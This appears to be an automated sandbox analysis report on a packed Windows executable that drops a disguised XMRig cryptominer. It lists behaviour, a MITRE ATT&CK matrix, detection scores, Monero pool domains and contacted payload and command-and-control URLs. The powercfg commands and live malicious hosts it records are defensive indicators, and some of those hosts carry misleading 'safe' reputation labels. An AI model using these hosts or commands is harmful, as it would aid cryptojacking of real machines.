Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\t.py VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\t.py VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78D28C4E0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF78D28C4E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78D2A58D0 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF78D2A58D0

Source: C:\Windows\System32\dwm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE132250C0 PySys_Audit,PyEval_SaveThread,bind,PyEval_RestoreThread,_Py_NoneStruct,		1_2_00007FFE132250C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE132260CC _PyArg_ParseTuple_SizeT,PyEval_SaveThread,listen,PyEval_RestoreThread,_Py_NoneStruct,		1_2_00007FFE132260CC

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Windows Service	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	1 Windows Service	1 Abuse Elevation Control Mechanism	Security Account Manager	25 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	312 Process Injection	2 Obfuscated Files or Information	NTDS	331 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	312 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	34%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\_MEI42802\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\VCRUNTIME140.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI42802\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\_bz2.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI42802\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\_ctypes.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI42802\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\_decimal.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI42802\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\_hashlib.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI42802\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\_lzma.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI42802\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\_socket.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI42802\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\_ssl.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI42802\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI42802\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI67402\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp	67%	ReversingLabs	Win64.Trojan.DisguisedXMRigMiner

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
monerooceans.stream	2%	Virustotal		Browse
gulf.moneroocean.stream	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.openssl.org/H	0%	URL Reputation	safe
https://mahler:8092/site-updates.py	0%	Avira URL Cloud	safe
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	0%	Avira URL Cloud	safe
http://194.59.31.63/api/endpoint.phpp	0%	Avira URL Cloud	safe
http://194.59.31.63/api/endpoint.phpQ	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	0%	Avira URL Cloud	safe
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	0%	Avira URL Cloud	safe
https://tools.ietf.org/html/rfc7231#section-4.3.6)	0%	Avira URL Cloud	safe
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	0%	Virustotal		Browse
https://www.python.org/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	0%	Virustotal		Browse
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	0%	Avira URL Cloud	safe
http://3.80.28.180/MpGLnxkd/eur1.py	0%	Avira URL Cloud	safe
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	0%	Virustotal		Browse
https://tools.ietf.org/html/rfc7231#section-4.3.6)	0%	Virustotal		Browse
http://194.59.31.63/api/endpoint.php	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0205/	0%	Avira URL Cloud	safe
http://194.59.31.63	0%	Avira URL Cloud	safe
https://docs.python.org/3/howto/mro.html.	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	0%	Virustotal		Browse
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0205/	0%	Virustotal		Browse
https://www.python.org/psf/license/)	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	0%	Avira URL Cloud	safe
https://www.python.org/	0%	Virustotal		Browse
http://194.59.31.63/api/endpoint.php--cinit-version=3.3.1--cinit-idle-wait=4--cinit-idle-cpu=30--cin	0%	Avira URL Cloud	safe
http://194.59.31.63	4%	Virustotal		Browse
http://194.59.31.63X_1	0%	Avira URL Cloud	safe
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	0%	Virustotal		Browse
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0263/	0%	Avira URL Cloud	safe
https://www.python.org/psf/license/	0%	Avira URL Cloud	safe
https://docs.python.org/3/howto/mro.html.	1%	Virustotal		Browse
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	0%	Virustotal		Browse
https://www.python.org/psf/license/)	0%	Virustotal		Browse
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	0%	Virustotal		Browse
https://www.python.org/psf/license/	0%	Virustotal		Browse
https://peps.python.org/pep-0263/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
monerooceans.stream	149.102.143.109	true	true	2%, Virustotal, Browse	unknown
gulf.moneroocean.stream	unknown	unknown	false	5%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://3.80.28.180/MpGLnxkd/eur1.py	false	Avira URL Cloud: safe	unknown
http://194.59.31.63/api/endpoint.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	file.exe, 00000001.00000003.2074607848.0000019B6803F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069271637.0000019B68020000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070123125.0000019B6802E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2069051921.0000019B68011000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	file.exe, 00000001.00000002.2083855720.0000019B67EC0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mahler:8092/site-updates.py	file.exe, 00000001.00000003.1819696151.0000019B6842C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819974405.0000019B683E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061164148.0000019B68445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819110190.0000019B6843C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819761256.0000019B683E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819954735.0000019B68446000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2062133131.0000019B68459000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819200208.0000019B683E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68417000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2071469603.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2071761865.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2072391408.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2072118745.000001DE109D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://194.59.31.63/api/endpoint.phpQ	dwm.exe, 0000001B.00000002.3061575628.00000218DB136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://194.59.31.63/api/endpoint.phpp	dwm.exe, 0000001B.00000003.2489453876.00000218DB198000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000002.3061575628.00000218DB18C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	file.exe, 00000001.00000003.2063623215.0000019B68448000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061164148.0000019B68445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061672432.0000019B68414000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2071548969.0000019B68448000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2063623215.0000019B6842B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065977694.0000019B68433000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061711574.0000019B68429000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/rfc7231#section-4.3.6)	file.exe, 00000001.00000003.1819696151.0000019B6842C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065679032.0000019B68069000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2064338719.0000019B68068000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819696151.0000019B6841C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2067965107.0000019B68069000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061973835.0000019B68062000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68417000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.python.org/	file.exe, 00000001.00000003.1819696151.0000019B6842C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819974405.0000019B683E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2061164148.0000019B68445000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819110190.0000019B6843C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819761256.0000019B683E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819954735.0000019B68446000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2062133131.0000019B68459000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1819200208.0000019B683E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68450000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1820422761.0000019B68417000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2071469603.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2071761865.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2072391408.000001DE10A5A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.2072118745.000001DE109D9000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
